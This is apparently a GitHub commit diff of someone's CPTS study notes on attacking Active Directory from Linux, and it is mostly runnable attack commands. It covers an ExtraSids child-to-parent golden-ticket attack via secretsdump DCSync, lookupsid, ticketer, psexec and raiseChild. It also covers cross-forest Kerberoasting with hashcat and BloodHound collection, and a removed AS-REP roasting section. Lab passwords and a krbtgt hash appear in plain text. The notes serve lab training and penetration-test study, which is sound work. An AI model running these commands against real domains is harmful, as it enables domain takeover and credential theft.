Skip to content

Commit daf6fe9

Browse files
CPTS notes
1 parent d758d04 commit daf6fe9

17 files changed

+1240
-1345
lines changed

.trash/active-directory-enumeration.md

-1,264
This file was deleted.

docs/389-636-ldap.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,7 @@ The relationship between AD and LDAP can be compared to Apache and HTTP. The sam
2626
- It's a binary protocol and by default not encrypted.
2727
- Has been updated to include encryptions addons, as Transport Layer Security (TLS)/SSL and can be tunnelled through SSH
2828

29-
The hierarchy (tree) of information stored via LDAP is known as the Directory Information Tree (DIT). That structure is defined in a schema.
29+
The hierarchy (tree) of information stored via LDAP is known as the **Directory Information Tree (DIT).** That structure is defined in a schema.
3030

3131
A common use of LDAP is to provide a central place to store usernames and passwords. This allows many different applications and services to connect to the LDAP server to validate users.
3232

docs/active-directory-from-linux-enumeration.md

-24
Original file line numberDiff line numberDiff line change
@@ -381,30 +381,6 @@ It's possible to obtain the Ticket Granting Ticket (TGT) for any account that ha
381381

382382
ASREPRoasting is similar to Kerberoasting, but it involves attacking the AS-REP instead of the TGS-REP. An SPN is not required. This setting can be enumerated with PowerView or built-in tools such as the PowerShell AD module.
383383

384-
#### DONT_REQ_PREAUTH Value using Get-DomainUser
385-
386-
Enumerating for DONT_REQ_PREAUTH Value using Get-DomainUser
387-
388-
```powershell
389-
Import-Module .\PowerView.ps1
390-
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl
391-
```
392-
393-
With this information in hand, the Rubeus tool can be leveraged to retrieve the AS-REP in the proper format for offline hash cracking. This attack does not require any domain user context and can be done by just knowing the SAM name for the user without Kerberos pre-auth.
394-
395-
```powershell
396-
# Retrieving AS-REP in Proper Format using Rubeus
397-
.\Rubeus.exe asreproast /user:$user /nowrap /format:hashcat
398-
# Example:
399-
# .\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat
400-
```
401-
402-
Cracking the Hash Offline with Hashcat:
403-
404-
```bash
405-
hashcat -m 18200 ilfreight_asrep /usr/share/wordlists/rockyou.txt
406-
```
407-
408384
#### DONT_REQ_PREAUTH Value using kerbrute
409385

410386
```shell-session

docs/active-directory-from-linux-privilege-escalation.md

+312-1
Original file line numberDiff line numberDiff line change
@@ -87,7 +87,7 @@ domain\user22
8787
```
8888

8989

90-
## Kerberoasting
90+
## 🔐 Kerberoasting
9191

9292
[See about Kerberos authentication](kerberos-authentication.md).
9393

@@ -165,3 +165,314 @@ hashcat -m 13100 file_tgs /usr/share/wordlists/rockyou.txt
165165
#### targetedKerberoast
166166

167167
[targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast) is a Python script that can, like many others (e.g. GetUserSPNs.py), print "kerberoast" hashes for user accounts that have a SPN set. This tool brings the following additional feature: for each user without SPNs, it tries to set one (abuse of a write permission on the servicePrincipalName attribute), print the "kerberoast" hash, and delete the temporary SPN set for that operation. This is called targeted Kerberoasting. This tool can be used against all users of a domain, or supplied in a list, or one user supplied in the CLI.
168+
169+
170+
## 👀 Attacking Domain Trusts # 1: Child -> Parent Trusts
171+
172+
### 🏰 ExtraSids Attack
173+
174+
Requirements for performing the attack:
175+
176+
- The KRBTGT hash for the child domain
177+
- The SID for the child domain
178+
- The name of a target user in the child domain (does not need to exist!)
179+
- The FQDN of the child domain
180+
- The SID of the Enterprise Admins group of the root domain
181+
182+
We have complete control over the child domain, which would be: LOGISTICS.INLANEFREIGHT.LOCAL.
183+
184+
#### Step 1: getting the KRBTGT hash for the child domain
185+
186+
We will perform a DCSync attack with secretsdump.py:
187+
188+
```shell-session
189+
secretsdump.py $targetedDomain/$UserWithAdminPriv@$TargetedIP -just-dc-user $NetbiosNameofDomain/krbtgt
190+
191+
# Example:
192+
# secretsdump.py logistics.inlanefreight.local/[email protected] -just-dc-user LOGISTICS/krbtgt
193+
# Enter password: HTB_@cademy_stdnt_admin!
194+
```
195+
196+
For this we need:
197+
- The user (`htb-student_adm`) must have the necessary privileges to query the domain controller. We need their creds.
198+
- We require to know $targetedDomain and NetbiosNameofDomain.
199+
- The **Impacket** library must be installed, and the tool should be executed in an environment with Python support.
200+
- Network connectivity to the target IP (in this example `172.16.5.240`) is required.
201+
202+
Results:
203+
204+
```
205+
Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation
206+
207+
Password:
208+
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
209+
[*] Using the DRSUAPI method to get NTDS.DIT secrets
210+
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d765b482771505cbe97411065964d5f:::
211+
[*] Kerberos keys grabbed
212+
krbtgt:aes256-cts-hmac-sha1-96:d9a2d6659c2a182bc93913bbfa90ecbead94d49dad64d23996724390cb833fb8
213+
krbtgt:aes128-cts-hmac-sha1-96:ca289e175c372cebd18083983f88c03e
214+
krbtgt:des-cbc-md5:fee04c3d026d7538
215+
216+
```
217+
218+
#### Step 2: getting the SID for the child domain
219+
220+
Next, we can use [lookupsid.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/lookupsid.py) , an Impacket script used for querying a Windows system to obtain information about the SID associated with a given user or group.
221+
222+
The tool will give us back the SID for the domain and the RIDs for each user and group that could be used to create their SID in the format `DOMAIN_SID-RID`.
223+
224+
```shell-session
225+
lookupsid.py $targetedDomain/$UserWithAdminPriv@TargetedIP
226+
# Example:
227+
# lookupsid.py logistics.inlanefreight.local/[email protected]
228+
# Enter password: HTB_@cademy_stdnt_admin!
229+
```
230+
231+
If we just want to get the Domain SID, we can filter it out:
232+
233+
```shell-session
234+
lookupsid.py $targetedDomain/$UserWithAdminPriv@TargetedIP | grep "Domain SID"
235+
# Example:
236+
# lookupsid.py logistics.inlanefreight.local/[email protected] | grep "Domain SID"
237+
# Enter password: HTB_@cademy_stdnt_admin!
238+
```
239+
240+
Results: S-1-5-21-2806153819-209893948-922872689
241+
242+
#### Step 3: getting the name of a target user in the child domain (does not need to exist!)
243+
244+
For instance, `hacker`.
245+
246+
#### Step 4: getting the FQDN of the child domain.
247+
248+
logistics.inlanefreight.local
249+
250+
251+
#### Step 5: getting the SID of the Enterprise Admins group of the root domain
252+
253+
Next, we can rerun the command, targeting the INLANEFREIGHT Domain Controller (DC01) at 172.16.5.5. We will perform a **SID enumeration** on the target system and filter the results to find information related to the **Enterprise Admins** group in the Active Directory (AD) domain. For filtering we will use the RID of the Enterprise Admins group. [Here](active-directory-security-identifiers.md) is a handy list of well-known SIDs.
254+
255+
```shell-session
256+
lookupsid.py $targetedDomain/$UserWithAdminPriv@$DomainControllerIP | grep "Enterprise Admins"
257+
# Example:
258+
# lookupsid.py logistics.inlanefreight.local/[email protected] | grep "Enterprise Admins"
259+
# Enter password: HTB_@cademy_stdnt_admin!
260+
261+
# Way2:
262+
lookupsid.py LOGISTICS.INLANEFREIGHT.LOCAL/[email protected] | grep "Enterprise Admins"
263+
# Enter password: HTB_@cademy_stdnt_admin!
264+
```
265+
266+
Result:
267+
```
268+
519: INLANEFREIGHT\Enterprise Admins (SidTypeGroup)
269+
```
270+
271+
As the domain SID was: `S-1-5-21-3842939050-3880317879-2865463114` and the RID is `519`, the SID of "Enterprise Admin" group is `S-1-5-21-3842939050-3880317879-2865463114-519` .
272+
273+
274+
#### Step 6: Generate a golden ticket
275+
276+
Next, we can use [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py) from the Impacket toolkit to construct a Golden Ticket. This ticket will be valid to access resources in the child domain (specified by `-domain-sid`) and the parent domain (specified by `-extra-sid`).
277+
278+
```shell-session
279+
ticketer.py -nthash $KRBTGThashOfChildDomain -domain $targetedDomain -domain-sid $sidDomain -extra-sid $SIDofEnterpriseAdminGroup $madeupUserName
280+
# Example:
281+
# ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
282+
```
283+
284+
The ticket will be saved down to our system as a credential cache (ccache) file, which is a file used to hold Kerberos credentials:
285+
286+
```
287+
[*] Saving ticket in hacker.ccache
288+
```
289+
290+
291+
Setting the KRB5CCNAME environment variable tells the system to use this file for Kerberos authentication attempts.
292+
293+
```shell-session
294+
export KRB5CCNAME=hacker.ccache
295+
```
296+
297+
298+
We can check if we can successfully authenticate to the parent domain's Domain Controller using [Impacket's version of Psexec](impacket-psexec.md). If successful, we will be dropped into a SYSTEM shell on the target Domain Controller.
299+
300+
```shell-session
301+
psexec.py $targetedDomain/$madeupUser@$hostNameDC.$ParentDomain -k -no-pass -target-ip $DomainControllerIP
302+
# Example:
303+
# psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/[email protected] -k -no-pass -target-ip 172.16.5.5
304+
# Enter password: HTB_@cademy_stdnt_admin!
305+
```
306+
307+
308+
#### Step 7: Privilege escalation
309+
310+
Impacket also has the tool [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py), which will automate escalating from child to parent domain.
311+
312+
We need to specify the target domain controller and credentials for an administrative user in the child domain.
313+
314+
```shell-session
315+
raiseChild.py -target-exec $DomainControllerIP $TargetedDomain/$UserWithAdminPriv
316+
# Example:
317+
# raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm
318+
# Enter password: HTB_@cademy_stdnt_admin!
319+
# target-exec: If specified, then it will authenticate to the parent domain's Domain Controller via Psexec.
320+
321+
```
322+
323+
324+
#### Step 8: Accessing another user on domain
325+
326+
The following will reproduce the entire attack:
327+
328+
329+
```
330+
#### Step 1: getting the KRBTGT hash for the child domain
331+
secretsdump.py $targetedDomain/$UserWithAdminPriv@$TargetedIP -just-dc-user $NetbiosNameofDomain/krbtgt
332+
333+
# Example:
334+
# secretsdump.py logistics.inlanefreight.local/[email protected] -just-dc-user LOGISTICS/krbtgt
335+
# Enter password: HTB_@cademy_stdnt_admin!
336+
# Results: 9d765b482771505cbe97411065964d5f
337+
####
338+
339+
#### Step 2: getting the SID for the child domain. Obtain the SID for the domain and the RIDs for each user and group and filter out by Domain SID
340+
lookupsid.py $targetedDomain/$UserWithAdminPriv@TargetedIP | grep "Domain SID"
341+
342+
# Example:
343+
# lookupsid.py logistics.inlanefreight.local/[email protected] | grep "Domain SID"
344+
# Enter password: HTB_@cademy_stdnt_admin!
345+
# Results: S-1-5-21-2806153819-209893948-922872689
346+
####
347+
348+
#### Step 3: getting the name of a target user in the child domain (does not need to exist!)
349+
hacker
350+
####
351+
352+
#### Step 4: getting the FQDN of the child domain.
353+
logistics.inlanefreight.local
354+
####
355+
356+
#### Step 5: getting the SID of the Enterprise Admins group of the root domain
357+
lookupsid.py $targetedDomain/$UserWithAdminPriv@$DomainControllerIP | grep "Enterprise Admins"
358+
# Example:
359+
# lookupsid.py logistics.inlanefreight.local/[email protected] | grep "Enterprise Admins"
360+
# Enter password: HTB_@cademy_stdnt_admin!
361+
# Results: 519: INLANEFREIGHT\Enterprise Admins (SidTypeGroup)
362+
####
363+
364+
#### Step 6: Generate a golden ticket
365+
ticketer.py -nthash $KRBTGThashOfChildDomain -domain $targetedDomain -domain-sid $sidDomain -extra-sid $SIDofEnterpriseAdminGroup $madeupUserName
366+
# Example:
367+
# ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
368+
369+
# The ticket will be saved down to our system as a credential cache (ccache) file, which is a file used to hold Kerberos credentials:
370+
[*] Saving ticket in hacker.ccache
371+
372+
# Setting the KRB5CCNAME environment variable tells the system to use this file for Kerberos authentication attempts.
373+
export KRB5CCNAME=hacker.ccache
374+
####
375+
376+
#### Step 7: Accessing another user on domain
377+
# With one user, we will request the NTLM hash for another user
378+
secretsdump.py $ControlledUsername@$hostnameController.$Parentdomain -k -no-pass -just-dc-ntlm -just-dc-user $targetUsername
379+
# Example:
380+
# secretsdump.py [email protected] -k -no-pass -just-dc-ntlm -just-dc-user bross
381+
382+
```
383+
384+
### 🌳 Cross-Forest Kerberoasting
385+
386+
 Sometimes you cannot escalate privileges in your current domain, but instead can obtain a Kerberos ticket and crack a hash for an administrative user in another domain that has Domain/Enterprise Admin privileges in both domains.
387+
 
388+
To do this, we need credentials for a user that can authenticate into the other domain and specify the `-target-domain` flag in our command.
389+
 
390+
```shell-session
391+
GetUserSPNs.py -target-domain $targetedDomain $OurDomain/$ourUserSamAccountName
392+
# Example:
393+
# GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
394+
# Enter password: transporter@4
395+
```
396+
397+
398+
Rerunning the command with the `-request` flag added gives us the TGS ticket.
399+
400+
```shell-session
401+
GetUserSPNs.py -request -target-domain $targetedDomain $OurDomain/$ourUserSamAccountName
402+
# Example:
403+
# GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
404+
# Enter password: transporter@4
405+
```
406+
407+
Now, with those TGS we could try to crack them offline
408+
409+
```bash
410+
hashcat -m 13100 tickettocrack /usr/share/wordlists/rockyou.txt
411+
```
412+
413+
414+
### 🐇 Hunting Foreign Group Membership with Bloodhound-python
415+
416+
we may, from time to time, see users or admins from one domain as members of a group in another domain.  Since only `Domain Local Groups` allow users from outside their forest, it is not uncommon to see a highly privileged user from Domain A as a member of the built-in administrators group in domain B when dealing with a bidirectional forest trust relationship.
417+
418+
 If we are testing from a Linux host, we can gather this information by using the [Python implementation of BloodHound](https://github.com/fox-it/BloodHound.py).
419+
420+
**Collecting information from INLANEFREIGHT.LOCAL**
421+
422+
```shell-session
423+
sudo nano /etc/resolv.conf
424+
```
425+
426+
Modify the file so it will have the following entries:
427+
428+
```
429+
#nameserver 1.1.1.1
430+
#nameserver 8.8.8.8
431+
domain INLANEFREIGHT.LOCAL
432+
nameserver 172.16.5.5
433+
```
434+
435+
Running bloodhound-python Against INLANEFREIGHT.LOCAL:
436+
437+
```bash
438+
bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2
439+
```
440+
441+
We can compress the resultant zip files to upload one single zip file directly into the BloodHound GUI.
442+
443+
```shell-session
444+
zip -r ilfreight_bh.zip *.json
445+
```
446+
447+
448+
**Collecting information from INLANEFREIGHT.LOCAL**
449+
450+
```shell-session
451+
sudo nano /etc/resolv.conf
452+
```
453+
454+
Modify the file so it will have the following entries:
455+
456+
```shell-session
457+
#nameserver 1.1.1.1
458+
#nameserver 8.8.8.8
459+
domain FREIGHTLOGISTICS.LOCAL
460+
nameserver 172.16.5.238
461+
```
462+
463+
Running bloodhound-python Against FREIGHTLOGISTICS.LOCAL
464+
465+
```shell-session
466+
bloodhound-python -d FREIGHTLOGISTICS.LOCAL -dc ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -c All -u [email protected] -p Klmcargo2
467+
```
468+
469+
We can compress the resultant zip files to upload one single zip file directly into the BloodHound GUI.
470+
471+
```shell-session
472+
zip -r FREIGHTLOGISTICS.zip *.json
473+
```
474+
475+
Transfer the files to your attacker machine, open [Bloodhound](bloodhound.md) in your attacker machine, upload the zip. Now we can click on Users with Foreign Domain Group Membership under the Analysis tab and select the source domain as INLANEFREIGHT.LOCAL. Here, we will see the built-in Administrator account for the INLANEFREIGHT.LOCAL domain is a member of the built-in Administrators group in the FREIGHTLOGISTICS.LOCAL domain as we saw previously.
476+
477+
![](img/blood03.png)
478+

docs/active-directory-from-windows-attacks.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -198,7 +198,7 @@ GET NTLMV2USERNAMES
198198
[See https://www.crowdstrike.com/en-us/blog/cve-2020-1472-zerologon-security-advisory/.](https://www.crowdstrike.com/en-us/blog/cve-2020-1472-zerologon-security-advisory/)
199199

200200

201-
## ️DCShadow
201+
## ️ DCShadow
202202

203203
[See https://blog.netwrix.com/2022/09/28/dcshadow_attack/](https://blog.netwrix.com/2022/09/28/dcshadow_attack/)
204204

0 commit comments

Comments
 (0)